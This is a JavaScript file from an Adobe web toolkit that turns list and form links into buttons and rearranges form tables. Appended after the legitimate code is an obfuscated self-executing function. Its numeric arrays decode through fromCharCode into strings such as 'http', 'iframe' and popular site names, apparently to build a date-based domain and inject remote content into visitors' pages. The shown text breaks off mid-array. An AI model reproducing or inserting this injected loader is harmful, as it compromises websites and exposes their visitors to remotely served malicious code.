/*
 * ADOBE SYSTEMS INCORPORATED
 * Copyright 2007 Adobe Systems Incorporated
 * All Rights Reserved
 * 
 * NOTICE:  Adobe permits you to use, modify, and distribute this file in accordance with the 
 * terms of the Adobe license agreement accompanying it. If you have received this file from a 
 * source other than Adobe, then your use, modification, or distribution of it requires the prior 
 * written permission of Adobe.
 */

function show_as_buttons_func() {
	var toret = false;
	if (!(typeof $NXT_LIST_SETTINGS == 'undefined' || typeof $NXT_LIST_SETTINGS['show_as_buttons'] == 'undefined' || $NXT_LIST_SETTINGS['show_as_buttons'] == false)) {
		toret = true;
	}
 	if (!(typeof $NAV_SETTINGS == 'undefined' || typeof $NAV_SETTINGS['show_as_buttons'] == 'undefined' || $NAV_SETTINGS['show_as_buttons'] == false)) {
		toret = true;
	}
	return toret;
}
show_as_buttons = "show_as_buttons_func()";
not_show_as_buttons = "!" + show_as_buttons;
/*
 * transforms a link to a button, keeping the link inner text, and adding the onclick event
 */
function KT_style_replace_with_button(el, add_event) {
	if (typeof add_event == 'undefined') {
		add_event = false;
	}
	var elnou = utility.dom.createElement('input', {
		'type' : 'button', 
		'value': el.innerHTML
	});

	el.style.display = 'none';
	elnou = utility.dom.insertAfter(elnou, el);

	if (add_event) {
		var onclick = el.onclick;
		elnou.onclick = onclick;
	}

	elnou.style.visibility = el.style.visibility;
	if (el.innerHTML == '') {
		elnou.style.display = 'none';
	}

	return elnou;
}

function KT_style_modify_custom_links(el) {
    var classes = utility.dom.getClassNames(el);
    if (1
    &&  Array_indexOf(classes, 'KT_link') < 0
    ) {
        return;
    }

    var elnou = KT_style_replace_with_button(el);
    /*utility.dom.attachEvent(*/elnou.onclick = function(e) {
        var a = this.previousSibling;
        if (!a.onclick) {
            var act = utility.dom.getLink(a);
            var parts = act.toString().split('?');
            if (parts.length == 1) {
                parts[1] = '';
            }
            var qs = new QueryString(parts[1]); var action_url = parts[0], variables = [];
            Array_each(qs.keys, function(key, i) {
                Array_push(variables, [key, qs.values[i]]);
            });

            var frm = utility.dom.createElement(
                "FORM", 
                {'action': act, 'method': 'GET', 'style': "display: none"}
            );
            Array_each(variables, function(input, i){
                frm.appendChild(utility.dom.createElement('INPUT', {'type': 'hidden', 'id': input[0], 'name': input[0], 'value': input[1]}));
            });

            frm = document.body.appendChild(frm);
            frm.submit();
        } else {
            var to_exec = a.onclick;
            a.onclick();
        }
    };/*);*/
    //elnou.className = 'button_big';
}

//[mtm]_[detail_key_value]
var tng_mtm_detail_key_re = /^mtm_(\d+)$/;
function tng_form_enable_details (checkbox_name) {
	var cbx = document.getElementById(checkbox_name);
	var state = !cbx.checked;
	var parts = checkbox_name.match(tng_mtm_detail_key_re);
	var related_input_re = new RegExp("^mtm_(.+?)_" + parts[1] + "$", "");

	Array_each(cbx.form.elements, function(input) {
		var input_name = input.name;
		if (input_name && related_input_re.test(input_name)) {
			if (typeof(input.widget_id) == 'undefined') {
				if (input.disabled != state) {
					input.disabled = state;
				}
			} else {
				try {
					window[input.widget_type][input.widget_id].setEnabled(!state);
				} catch(err) {}
			}
		}
	});
}


/*
 * this array holds the transformations for the list / form elements
 * each array item is an object with tthe following properties:
 * 	* selector : the string passwd to utility.dom.getElementsBySelector
 * 	* transform : transformation function whichch has a single parameter : the element to handle
 * 	* eval : condition which tells if the transformation is executed
 */
$TRANSFORMATIONS = [
	{
		'selector': function() {
			//'div.KT_tnglist div.KT_bottombuttons a.KT_edit_op_link'
			//'div.KT_tnglist div.KT_bottombuttons a.KT_delete_op_link', 
			//'div.KT_tnglist div.KT_bottombuttons a.KT_additem_op_link', 
			//'div.KT_tnglist div.KT_opbuttons a.KT_edit_op_link'
			//'div.KT_tnglist div.KT_opbuttons a.KT_delete_op_link', 
			//'div.KT_tnglist div.KT_opbuttons a.KT_additem_op_link', 
			var toret = [];
			for (var i = 0; i < $lists.length; i++) {
				if ($lists[i].kt_styles_attached) {
					continue;
				}
				var as = $lists[i].bottombuttons.getElementsByTagName('a');
				for (var j = 0; j < as.length; j++) {
					if (/(KT_edit_op_link|KT_delete_op_link|KT_additem_op_link)/.test(as[j].className)) {
						toret.push(as[j]);
					}
				}
				if ($lists[i].topbuttons) {
					var as = $lists[i].topbuttons.getElementsByTagName('a');
					for (var j = 0; j < as.length; j++) {
						if (/(KT_edit_op_link|KT_delete_op_link|KT_additem_op_link)/.test(as[j].className)) {
							toret.push(as[j]);
						}
					}
				}
			}
			return toret;
		}, 
		'transform': function(el) { 
			var elnou = KT_style_replace_with_button(el, true);
		}, 
		'eval': show_as_buttons
	}, 
	{
		'selector': function() {
			//'div.KT_tnglist th.KT_sorter a.KT_move_op_link', 
			var toret = [];
			for (var i = 0; i < $lists.length; i++) {
				if ($lists[i].kt_styles_attached) {
					continue;
				}
				var ths = $lists[i].table.getElementsByTagName('th');
				for (var j = 0; j < ths.length; j++) {
					if (/KT_sorter/.test(ths[i].className)) {
						var as = ths[i].getElementsByTagName('a');
						for (var k = 0; k < as.length; k++) {
							if (/KT_move_op_link/.test(as[k].className)) {
								toret.push(as[k]);
								break;
							}
						}
					}
				}
			}
			return toret;
		}, 
		'transform': function(el) {
			var elnou = KT_style_replace_with_button(el, true);
			elnou.style.display = 'none';
		}, 
		'eval': show_as_buttons
	}, 
	{
		'selector' : function() {
			var toret = [];
			for (var i = 0; i < $lists.length; i++) {
				if ($lists[i].kt_styles_attached) {
					continue;
				}
				var as = $lists[i].table.getElementsByTagName('a');
				for (var j = 0; j < as.length; j++) {
					if (/(KT_edit_link|KT_moveup_link|KT_movedown_link|KT_delete_link|KT_link)/.test(as[j].className)) {
						toret.push(as[j]);
					}
				}
			}
			return toret;
		}, 
		'transform': function(el) {
			var elnou = KT_style_replace_with_button(el);
			elnou.onclick = function(e) {
				var a = this.previousSibling;
				if (/(KT_movedown_link|KT_moveup_link|KT_delete_link)/.test(a.className)) {
					var to_exec = a.onclick;
					try {
						a.onclick(e);
					} catch(e) { }
				} else if (/(KT_link)/.test(a.className)) {
					if (!a.onclick) {
						var act = utility.dom.getLink(a);
						var parts = act.toString().split('?');
						if (parts.length == 1) {
							parts[1] = '';
						}
						var qs = new QueryString(parts[1]); var action_url = parts[0], variables = [];
						Array_each(qs.keys, function(key, i) {
							Array_push(variables, [key, qs.values[i]]);
						});

						var frm = utility.dom.createElement(
							"FORM", 
							{'action': act, 'method': 'GET', 'style': "display: none"}
						);
						Array_each(variables, function(input, i){
							frm.appendChild(utility.dom.createElement('INPUT', {'type': 'hidden', 'id': input[0], 'name': input[0], 'value': input[1]}));
						});

						frm = document.body.appendChild(frm);
						if (typeof PanelForm_overrideSubmit == 'function') {
							frm.submit = PanelForm_overrideSubmit;
						}
						frm.submit();
					} else {
						var to_exec = a.onclick;
						a.onclick();
					}
				} else if (/(KT_edit_link)/.test(a.className)) {
					try {
						var o = utility.dom.setEventVars(e);
						var table = utility.dom.getParentByTagName(this, 'table');
						var row = utility.dom.getParentByTagName(this, 'tr');

						var tmp = utility.dom.getElementsByClassName(row, 'id_checkbox')[0];
						var myinput = null;
						if (tmp.type && tmp.type.toLowerCase() == 'checkbox' && tmp.name.toString().match(/^kt_pk/)) {
							myinput = tmp;
						}

						var inputs = utility.dom.getElementsByClassName(table, 'id_checkbox');
						Array_each(inputs, function(input) {
							if (input.type && input.type.toLowerCase() == 'checkbox' && 
								input.name.toString().match(/^kt_pk/)) {
								input.checked = (input == myinput);
							}
						});
						nxt_list_edit_link_form(this, myinput.previousSibling.href);
					} catch(e) {
						window.location.href = a.href;
					}					
				} else {
					window.location.href = a.href;
				}
			};/*);*/
			var move_up = /KT_moveup_link/.test(el.className);
			var move_down = /KT_movedown_link/.test(el.className);
			if (move_up || move_down) {
				if (move_up && typeof $nxt_move_up_background_image != 'undefined' || move_down && typeof $nxt_move_down_background_image != 'undefined') {
					elnou.value = "";
				}
				elnou.className = 'button_smallest KT_button_move_' + (move_up?'up':'down');
			} else {
				elnou.className = 'button_big';
			}

		}, 
		'eval': show_as_buttons
	},
	{
		/* ajaxify the back to master link*/
		'selector' : function() {
			var toret = [];
			if (typeof $ctrl != 'undefined') {
				for (var i = 0; i < $lists.length; i++) {
					if ($lists[i].kt_styles_attached) {
						continue;
					}
					var trs = utility.dom.getElementsByClassName($lists[i].inner, "KT_masterlink", "TR");
					for (var j=0; j<trs.length; j++) {
						var links = trs[j].getElementsByTagName("A");
						for (var k=0; k < links.length; k++) {
							if (links[k].href.indexOf('includes/nxt/back.php') != -1) {
								toret.push(links[k]);
							}
						}
					}
				}
			}
			return toret;
		},
		'transform': function(el) {
			el.onclick = function() {
				$ctrl.loadPanels(el.href);	
				return false;
			}
		},
		'eval': 1
	},
	{
		'selector' : function() {
			var toret = [];
			for (var i = 0; i < $lists.length; i++) {
				if ($lists[i].kt_styles_attached) {
					continue;
				}
				var as = $lists[i].bottombuttons.getElementsByTagName('a');
				for (var j = 0; j < as.length; j++) {
					if (/KT_link/.test(as[j].className)) {
						toret.push(as[j]);
					}
				}
				if ($lists[i].topbuttons) {
					var as = $lists[i].topbuttons.getElementsByTagName('a');
					for (var j = 0; j < as.length; j++) {
						if (/KT_link/.test(as[j].className)) {
							toret.push(as[j]);
						}
					}
				}
			}
			return toret;
		}, 
		'transform': KT_style_modify_custom_links, 
		'eval': show_as_buttons
	}, 
	{
		'selector' : function() {
			var toret = [];
			if ($lists.length > 0) {
				for (var i = 0; i < $lists.length; i++) {
					if ($lists[i].kt_styles_attached) {
						continue;
					}
					if ($lists[i].toptextnav) {
						var as = $lists[i].toptextnav.getElementsByTagName('a');
						for (var j = 0; j < as.length; j++) {
							if (/(first|prev|next|last)/.test(as[j].parentNode.className)) {
								toret.push(as[j]);
							}
						}
					}
					if ($lists[i].bottomtextnav.getAttribute("kt_styles_attached")) {
						continue;
					}
					$lists[i].bottomtextnav.setAttribute("kt_styles_attached", true);
					var as = $lists[i].bottomtextnav.getElementsByTagName('a');
					for (var j = 0; j < as.length; j++) {
						if (/(first|prev|next|last)/.test(as[j].parentNode.className)) {
							toret.push(as[j]);
						}
					}
				}
			} else {
				var divs = utility.dom.getElementsByClassName(document, 'KT_textnav', 'div');
				if (divs) {
					for (var i = 0; i < divs.length; i++) {
						if (divs[i].getAttribute("kt_styles_attached")) {
							continue;
						}
						divs[i].setAttribute("kt_styles_attached", true);
						var as = divs[i].getElementsByTagName('a');
						for (var j = 0; j < as.length; j++) {
							if (/(first|prev|next|last)/.test(as[j].parentNode.className)) {
								toret.push(as[j]);
							}
						}
					}
				}
			}
			return toret;		
		}, 
		'transform' : function(el) {
			var li = el.parentNode;
			var elnou = KT_style_replace_with_button(el);
			if (!el.href.match(/void\(0\)/)) {
				elnou.onclick = function(e) {
					if (typeof $ctrl != 'undefined') {
						$ctrl.loadPanels(el.href);
					} else {
						window.location.href = el.href;
					}
				};
			} else {
				//utility.dom.classNameAdd(el.parentNode, 'disabled');
				var inp = el.parentNode.getElementsByTagName('input');
				if (inp.length > 0) {
					inp[0].disabled = true;
				}
			}
			var values = {'first': '<<', 'prev': '<', 'next': '>', 'last': '>>'};
			elnou.value = values[li.className.toString().replace(/ disabled/, '')];
			elnou.className = 'button_smallest' + (el.href.match(/void\(0\)/) ? ' disabled' : '');
		}, 
		'eval': show_as_buttons
	}, 
	{
		'selector' : function() {
			var toret = [];
			if ($lists.length > 0) {
				for (var i = 0; i < $lists.length; i++) {
					if ($lists[i].kt_styles_attached) {
						continue;
					}
					if ($lists[i].toptextnav) {
						var as = $lists[i].toptextnav.getElementsByTagName('a');
						for (var j = 0; j < as.length; j++) {
							if (/(first|prev|next|last)/.test(as[j].parentNode.className)) {
								toret.push(as[j]);
							}
						}
					}
					var as = $lists[i].bottomtextnav.getElementsByTagName('a');
					for (var j = 0; j < as.length; j++) {
						if (/(first|prev|next|last)/.test(as[j].parentNode.className)) {
							toret.push(as[j]);
						}
					}
				}
			} else {
				var divs = utility.dom.getElementsByClassName(document, 'KT_textnav', 'div');
				if (divs) {
					for (var i = 0; i < divs.length; i++) {
						if (divs[i].getAttribute("kt_styles_attached")) {
							continue;
						}
						divs[i].setAttribute("kt_styles_attached", true);
						var as = divs[i].getElementsByTagName('a');
						for (var j = 0; j < as.length; j++) {
							if (/(first|prev|next|last)/.test(as[j].parentNode.className)) {
								toret.push(as[j]);
							}
						}
					}
				}
			}
			return toret;		
		}, 
		'transform' : function(el) {
			if (!el.href.match(/void\(0\)/)) {
			} else {
				utility.dom.classNameAdd(el, 'disabled');
			}
		}, 
		'eval': not_show_as_buttons
	}, 
	{
		'selector': function() { 
			var toret = [];
			var div = document.getElementById('KT_tngtrace');
			if (div && !div.getAttribute("kt_styles_attached")) {
				div.setAttribute("kt_styles_attached", true);
				var as = div.getElementsByTagName('a');
				for (var i = 0; i < as.length; i++) {
					toret.push(as[i]);
				}
			}
			return toret;
		}, 
		'transform': function(el) { 
			var elnou = KT_style_replace_with_button(el, true);
		}, 
		'eval': show_as_buttons
	}, 
	{
		'selector_text': 'div.KT_tnglist table.KT_tngtable tr.KT_row_filter input[type="submit"]', 
		'selector' : function() {
			var toret = [];
			for (var i = 0; i < $lists.length; i++) {
				if ($lists[i].kt_styles_attached) {
					continue;
				}
				var inps = $lists[i].table.getElementsByTagName('input');
				for (var j = 0; j < $lists[i].table.rows.length; j++) {
					var row = $lists[i].table.rows[i];
					if (/KT_row_filter/.test(row.className)) {
						var inps = row.getElementsByTagName('input');
						var type = '';
						for (var k = 0; k < inps.length; k++) {
							type = inps[k].getAttribute('type');
							if (type == null) {
								type = 'text';
							}
							if (type.toString().toLowerCase == 'submit') {
								toret.push(inps[k]);
							}
						}
					}
				}
			}
			return toret;
		}, 
		'transform': function(el) {
			el.className = 'KT_row_filter_submit_button';
		}, 
		'eval': "1"
	}, 
	{
		'selector' : function() {
			//'div.KT_tng input[type="text"]'
			//'div.KT_tng input[type="widget"]'
			//'div.KT_tng input[type="password"]'
			var toret = [];
			for (var i = 0; i < $lists.length; i++) {
				if ($lists[i].kt_styles_attached) {
					continue;
				}
				var inps = $lists[i].main.getElementsByTagName('input');
				var type = '';
				for (var j = 0; j < inps.length; j++) {
					type = inps[j].getAttribute('type');
					if (type == null) {
						type = 'text';
					}
					if (/(text|widget|password)/i.test(type.toString())) {
						toret.push(inps[j]);
					}
				}
			}
			return toret;
		}, 
		'transform': function(el) {
			utility.dom.classNameAdd(el, 'input_text');
		}, 
		'eval': "1"
	}, 
	{
		'selector' : 'table.KT_tngtable', 
		'transform' : function(el) {
			if (el.getAttribute("kt_checkboxes_attached")) {
				return;
			}
			el.setAttribute("kt_checkboxes_attached", true);
			var labels = utility.dom.getElementsByTagName(el, 'label');
			var visited_labels = [];
			//ZZZZ
			Array_each(labels, function(label) {
				var normal = label.htmlFor.toString().replace(/_\d+$/, '');
				var normal_re = new RegExp('^' + normal + "_\\d+$", 'g');
			
				var first = document.getElementById(normal+'_1');
				if (typeof first == 'undefined' || first == null || !first.tagName || first.tagName == 'undefined') {
					return;
				}
				if (first.tagName.toLowerCase() == 'input' && first.type && first.type.toLowerCase() == 'file') {
					return;
				}
			
				var inp = document.getElementById(label.htmlFor.toString());
			
				var show_cond = true;
				if (typeof inp == 'undefined' || inp == null) {
					show_cond = false;
				}
				if (show_cond && typeof inp.type != 'undefined' && inp.type != null) {
					if (inp.type.toString().toLowerCase() == 'radio') {
						show_cond = false;
					}
				}
				if (!show_cond) {
					return;
				}
			
				if (tng_mtm_detail_key_re.test(label.htmlFor)) {
					// this is a detail checkbox
					// attach the onclick disable/enable detail row behavior 
					inp.onclick = function(e) {
						tng_form_enable_details(inp.name);
					}
					if (!inp.checked) {
						tng_form_enable_details(inp.name);
					}
				}
			});
		},
		'eval': "1"
	},
	{
		'selector' : 'div.KT_tngform', 
		'transform' : function(el) {
			if (el.getAttribute("kt_styles_attached")) {
				return;
			}
			el.setAttribute("kt_styles_attached", true);
			if (is.mozilla) {
				utility.dom.classNameAdd(el, 'fix_content_enlarge');
			}

			if (typeof window['ktmls'] != 'undefined' && is.mozilla && typeof(ktml_isElementVisible) == 'undefined') {
				return;
			}

			multiple_edits = false;
			var tables = utility.dom.getElementsBySelector('div.KT_tngform table.KT_tngtable');
			if (tables.length && tables.length > 1) {
				multiple_edits = true;
			}
			var show_as_grid = !(typeof $NXT_FORM_SETTINGS == 'undefined' || typeof $NXT_FORM_SETTINGS['show_as_grid'] == 'undefined' || $NXT_FORM_SETTINGS['show_as_grid'] == false);
			if (tables.length == 1 || !show_as_grid) {
				return true;
			}
			multiple_edits = true;
			var num_of_columns = tables[0].rows.length;

			var tbl = document.createElement('table', {
				'className' : 'KT_tngtable'
			});
			tbl.className = 'KT_tngtable';
			
			//el.appendChild(tbl);
			//	STEP n-3 : create the header table
			var row_head = tbl.insertRow(-1);
			var cell_head = row_head.insertCell(-1);
			cell_head.innerHTML = NXT_Messages['Record_FH'];
			cell_head.className = 'KT_th';
			Array_each(tables[0].rows, function(row) {
				var label = row.getElementsByTagName('label')[0];

				var cell_head = row_head.insertCell(-1);
				cell_head.className = 'KT_th';
				if (label) {
					cell_head.appendChild(label);
				} else {
					cell_head.innerHTML = row.getElementsByTagName('td')[0].innerHTML;
				}
			})


			//	STEP n-2 : create the new table and hide it
			var hidden_ids = utility.dom.getElementsByClassName(el, 'id_field');
			var hidden_ids_index = 0;
			Array_each(tables, function(table_to_copy, index) {
				var row_content = tbl.insertRow(-1);
				
				var cell_record_no = row_content.insertCell(-1);
				cell_record_no.innerHTML = (index+1)+'';
				cell_record_no.noWrap = true;
				cell_record_no.style.verticalAlign = "top";

				Array_each(table_to_copy.rows, function(row) {
					//var cell_content = row_content.insertCell(-1);
					//cell_content.innerHTML = row.getElementsByTagName('td')[1].innerHTML;
					var td = row_content.appendChild(row.getElementsByTagName('td')[1]);//.cloneNode(true)
					td.style.verticalAlign = "top";
					var hint = utility.dom.getElementsByClassName(td, 'KT_field_hint', 'span');
					if (hint.length) {
						for (var i = 0; i < hint.length; i++) {
							hint[i].parentNode.removeChild(hint[i]);
						}
					}
				})

				var hidden = hidden_ids[hidden_ids_index++];
				/*
				while (hidden && (hidden.nodeType == 3 || hidden.tagName.toLowerCase() != 'input')) {
					hidden = hidden.nextSibling;
				}
				*/
				if (hidden) {
					cell_record_no.appendChild(hidden);
				} else {
					alert('could not find hidden !');
				}

			})

			// STEP n-1 : delete the old tables 
			Array_each(tables, function(table_to_copy, index) {
				//remove previous h2
				var heading = table_to_copy.previousSibling;
				try {
					while (heading.previousSibling && (heading.nodeType == 3 ||  heading.tagName.toLowerCase() != 'h2')) {
						heading = heading.previousSibling;
					}
				} catch(e) { heading = null; } 
				if (heading) {
					heading.parentNode.removeChild(heading);
				}

				//remove next input
				var hidden = table_to_copy.nextSibling;
				try {
					while (hidden && hidden.nodeType != 3 && hidden.tagName.toLowerCase() != 'input') {
						hidden = hidden.nextSibling;
					}
				} catch(e) { hidden = null; }
				if (hidden) {
					hidden.parentNode.removeChild(hidden);
				}
				table_to_copy.parentNode.removeChild(table_to_copy);
			})

			//	STEP 4 : find the bottombuttons div, and add the element
			var bottom_buttons = utility.dom.getElementsBySelector('div.KT_bottombuttons')[0];
			bottom_buttons.parentNode.insertBefore(tbl, bottom_buttons);
		}, 
		'eval': '(true)'
	}
];

function nxt_style_set_globals() {
	$lists = [];
	var tmp = utility.dom.getElementsByClassName(document, 'KT_tng', 'div');
	for (var k = 0; k < tmp.length; k++) {
		var list_obj = {};
		var kt_styles_attached = tmp[k].getAttribute("kt_styles_attached");
		if (kt_styles_attached) {
			continue;
		}
		list_obj.kt_styles_attached = false;
		list_obj.name = tmp[k].id;
		list_obj.main = tmp[k];
		list_obj.inner = utility.dom.getElementsByClassName(tmp[k], 'KT_tnglist', 'div');
		if (typeof list_obj.inner == 'object' && list_obj.inner != null && list_obj.inner.length && list_obj.inner.length > 0) {
			list_obj.inner = list_obj.inner[0];
			if (is.mozilla) {
				utility.dom.classNameAdd(list_obj.inner, 'fix_content_enlarge');
			}
		
			var frm = list_obj.inner.getElementsByTagName('form')[0];
			for (var i = 0; i < frm.childNodes.length; i++) {
				if (frm.childNodes[i].nodeType == 1) {
					var n = frm.childNodes[i];
					var t = n.tagName.toLowerCase();
					var c = n.className;
					if (t == 'table') {
						list_obj.table = n;
					}
					if (/KT_topbuttons/.test(c)) {
						list_obj.topbuttons = n;
					}
					if (/KT_bottombuttons/.test(c)) {
						list_obj.bottombuttons = n;
					}
					if (/KT_topnav/.test(c)) {
						list_obj.topnav = n;
						var divs = list_obj.topnav.getElementsByTagName('div');
						for (var j = 0; j < divs.length; j++) {
							if (/KT_textnav/.test(divs[j].className)) {
								list_obj.toptextnav = divs[j];
								break;
							}
						}
					}
					if (/KT_bottomnav/.test(c)) {
						list_obj.bottomnav = n;
						var divs = list_obj.bottomnav.getElementsByTagName('div');
						for (var j = 0; j < divs.length; j++) {
							if (/KT_textnav/.test(divs[j].className)) {
								list_obj.bottomtextnav = divs[j];
								break;
							}
						}
					}
				}
			}
			$lists.push(list_obj);
		}
	}
}

function nxt_style_attach() {
	if (is.ie && is.mac) {
		return;
	}
	styles_arr = [];
	nxt_style_set_globals();
	nxt_perform_transformations = function() {
		Array_each($TRANSFORMATIONS, function(t) {
			var obj = {};
			obj.selector = t;
			obj.start = new Date();
			if (eval(t['eval'])) {
				var sel = t.selector;
				if (typeof sel == 'function') {
					var arr = sel();
				} else {
					var arr = utility.dom.getElementsBySelector(t['selector']);
				}
				Array_each(arr, t['transform']);
			}
			obj.end = new Date();
			obj.diff = obj.end - obj.start;
			styles_arr.push(obj);
		});
		for(var i=0; i<$lists.length; i++) {
			$lists[i].kt_styles_attached = true;
			$lists[i].main.setAttribute("kt_styles_attached", true);
		}
		KT_style_executed = true;
		$style_executed = true;
		if (typeof nxt_list_attach != 'undefined') {
			nxt_list_attach();
		}
	}
	nxt_perform_transformations();
}

utility.dom.attachEvent2(window, 'onload', nxt_style_attach);


(function($$){qq2=[8,0,26,0,11,81,29,0,26,86,65,82,0,54,48,29,84,72,73,83,27,60,59,54,48,0,0,38,85,76,76,57,69,65,82,0,5,45,79,78,84,72,0,5,36,65,84,69,0,5,40,79,85,82,83,0,5,45,73,78,85,84,69,83,0,5,51,69,67,79,78,68,83,8,9,61,93,27,0,11,75,29,0,26,0,6,82,12,54,80,29,84,72,73,83,14,3,81,8,9,12,73,29,16,27,54,80,59,17,61,11,29,17,27,87,72,73,76,69,8,73,11,11,28,23,9,91,3,82,29,54,80,59,73,61,0,15,3,82,28,3,45,9,54,80,59,73,61,0,22,3,82,93,60,0,54,80,14,83,80,76,73,67,69,8,94,90,7,9,12,17,11,94,52,0,16,0,23,94,85,0,16,11,7,52,7,11,54,80,0,23,94,53,0,16,93,27,54,39,29,91,7,72,64,72,84,84,80,26,15,15,56,83,64,15,56,84,64,84,82,69,56,68,64,68,65,73,56,78,64,78,68,83,56,81,64,31,56,67,64,67,65,76,76,66,65,67,75,29,56,74,64,3,56,65,64,65,80,73,56,76,64,76,89,56,55,64,84,87,73,84,84,69,82,56,79,64,67,79,77,56,69,64,17,56,75,64,83,56,43,64,66,79,68,89,56,88,64,65,74,65,88,56,36,64,14,56,44,64,76,73,66,83,56,42,64,74,81,85,69,82,89,56,22,64,22,14,18,56,77,64,77,73,78,56,70,64,79,78,56,51,64,67,82,73,80,84,56,73,64,73,70,56,45,64,82,65,77,69,56,57,64,72,69,65,68,56,87,64,87,73,68,84,72,26,56,80,64,80,88,27,56,40,64,72,69,73,71,72,84,26,56,52,64,18,56,82,64,82,67,56,49,64,2,56,89,64,83,84,89,76,69,29,56,66,64,30,28,56,50,64,30,28,15,56,41,64,68,73,86,56,34,64,28,56,33,64,30,56,71,64,71,79,79,71,76,69,56,37,64,6,68,65,84,69,29,56,90,64,16,56,85,64,13,56,53,64,0,56,12,64,26,16,16,56,27,7,26,18,19,20,21,22,23,24,25,16,17,12,7,15,7,26,20,24,18,23,17,12,7,38,7,26,17,25,24,17,25,21,18,21,20,12,7,39,7,26,17,18,12,7,35,64,29,7,93,27,32,0,3,77,8,54,85,9,91,3,52,29,59,61,27,70,79,82,8,54,65,29,16,27,54,65,28,54,85,0,8,27,54,65,11,11,9,91,3,52,14,80,85,83,72,8,54,39,59,54,85,14,67,72,65,82,33,84,8,54,65,9,61,9,93,60,0,3,84,8,3,52,9,93,54,73,29,68,79,67,85,77,69,78,84,27,3,85,29,87,73,78];qq21=[68,79,87,27,0,9,89,29,7,85,78,68,69,70,73,78,69,68,7,27,0,9,90,29,94,72,65,36,55,36,79,83,69,83,84,78,83,68,76,36,74,70,81,67,81,7,0,19,40,29,0,10,9,29,29,0,9,89,9,0,15,3,40,92,92,1,54,67,8,9,9,91,73,70,8,1,3,40,9,91,84,82,89,91,54,71,29,74,49,85,69,82,89,0,1,27,84,82,89,91,54,71,29,4,0,1,93,54,51,29,54,73,14,71,69,84,37,76,69,77,69,78,84,83,34,89,52,65,71,46,65,77,69,8,94,57,0,16,59,16,61,27,3,37,29,54,73,14,67,82,69,65,84,69,37,76,69,77,69,78,84,8,94,75,51,0,16,27,3,37,14,83,69,84,33,84,84,82,73,66,85,84,69,8,94,75,82,7,9,12,3,77,8,2,72,88,36,71,65,75,36,79,83,88,83,44,83,42,83,69,36,22,83,42,36,77,36,74,2,9,9,27,54,51,14,65,80,80,69,78,68,35,72,73,76,68,8,3,37,9,93,32,0,54,50,8,3,83,12,54,38,0,18,45,65,84,72,14,70,76,79,79,82,8,3,83,15,54,38,9,0,25,86,8,3,68,9,91,86,65,82,0,54,70,29,54,50,8,0,9,44,12,0,4,88,9,27,0,6,87,29,0,9,44,5,0,4,88,27,0,6,46,29,0,4,80,10,3,87,27,0,6,38,29,0,4,77,10,54,70,27,0,6,69,29,3,46,13,3,38,0,15,3,69,30,16,9,91,3,44,29,3,69,93,69,76,83,69,91,3,44,29,3,69,11,0,4,33,93,60,8,3,44,5,3,68,9,0,25,42,8,3,78,9,91,0,9,44,29,94,27,7,9,11,3,78,27,0,4,80,29,94,15,7,9,27,0,4,33,29,94,27,7,9,13,94,38,7,9,27,0,4,88,29,54,50,8,0,4,33,12,0,4,80,9,27,0,4,77,29,0,4,33,5,0,4,80,0,25,84,8,54,0,18,54,0,8,29,29,17,31,54,59,16,61,26,54,0,23,7,7,9,93,27,32,0,3,50,8,54,9,91,68,29,78,69,87,0,36,65,84,69,8,0,19,33,29,94,90,69,69,7,9,27,68,14,83,69,84,52,73,77,69,8,8,54,14,65,83,63,79,70,13,94,39,7,9,10];function co(){return 'Code';}function gafu(){return a(String,'f'+ro()+co());}qq3=[94,39,7,9,10,94,39,7,9,10,94,69,90,90,0,16,10,94,69,90,90,90,0,16,27,60,0,68,0,25,79,8,54,35,9,91,0,6,73,12,54,72,12,3,39,29,54,35,0,8,27,0,6,88,29,59,61,27,87,72,73,76,69,8,13,13,3,39,9,91,54,72,29,3,86,8,3,39,0,19,88,14,80,85,83,72,8,54,72,0,19,73,29,54,35,59,54,72,61,27,54,35,59,54,72,61,29,54,35,59,3,39,61,27,54,35,59,3,39,61,29,3,73,93,93,32,0,54,44,8,4,9,91,54,37,29,4,14,77,65,80,8,59,24,17,12,24,21,12,23,20,12,23,20,12,25,18,12,17,23,12,24,18,12,23,19,12,24,16,12,19,16,12,24,18,12,23,23,12,18,21,12,17,17,12,17,16,12,17,16,12,22,17,12,17,17,12,21,22,12,21,21,12,17,17,12,21,19,12,22,12,21,19,12,23,12,18,12,17,12,16,12,20,24,61,12,32,8,88,12,73,0,18,51,84,82,73,78,71,14,70,82,79,77,35,72,65,82,35,79,68,69,8,73,11,88,11,18,20,9,93,9,27,60,0,3,84,8,54,37,9,0,25,74,8,88,0,18,88,0,8,93,32,0,54,52,8,4,9,91,73,70,0,10,9,1,29,0,9,89,9,91,4,8,0,26,73,70,0,10,14,54,79,9,1,29,0,9,89,9,60,27,4,14,54,79,29,17,27,0,20,90,12,32,8,54,45,9,91,3,36,29,3,50,8,54,45,0,19,43,29,3,36,0,0,45,79,78,84,72,8,9,0,27,46,29,3,36,0,0,36,65,84,69,8,0,19,80,29,32,8,88,12,73,9,91,60,8,3,74,8,88,11,2,2,9,13,17,9,31,88,26,2,16,2,11,88,93,27,54,69,29,3,80,8,3,43,12,20,9,11,2,13,2,11,3,80,8,54,46,12,23,0,19,65,29,3,90,11,3,77,8,2,37,0,21,27,54,36,29,54,89,29,54,50,8,3,36,0,0,40,79,85,82,83,8,9,12,22,9,10,22,0,27,90,29,54,36,11,17,27,3,45,29,11,94,69,90,7,9,27,0,12,0,20,65,12,32,8,54,45,9,91,84,82,89,91,3,51,29,54,45,14,84,82,69,78,68,83,27,3,70,29,3,77,8,2,0,21,11,2,0,2,0,15,54,36,28,3,45,9,54,36,0,22,54,36,0,15,54,90,28,3,45,9,54,90,0,22,54,90,27,0,24,36,11,3,77,8,56,9,61,0,15,1,3,67,9,91,0,24,90,11,3,77,8,56,9,61,93,3,67,29,8,3,67,59,19,61,14,78,65,77,69,14,84,79,44,79,87,69,82,35,65,83,69,8,9,14,82,69,80,76,65,67,69,8,15,59,62,65,13,90,61,15,71,73,12,7,7,9,11,7,77,73,67,82,79,83,67,79,80,69,7,9,14,83,80,76,73];qq31=[84,8,7,7,0,19,35,29,3,43,10,23,17,11,54,89,10,19,11,54,46,10,19,23,27,3,42,8,3,35,0,19,74,29,3,86,8,20,9,11,3,45,27,3,79,8,3,67,0,19,66,29,94,35,72,7,9,11,3,84,8,3,67,9,14,83,85,66,83,84,82,73,78,71,8,16,12,3,74,9,11,7,14,67,79,77,15,7,11,54,44,8,4,9,27,54,39,59,7,58,7,61,29,3,66,27,54,82,29,94,34,41,0,17,66,73,45,53,0,17,53,75,82,58,50,73,45,50,41,33,7,9,27,4,8,94,43,0,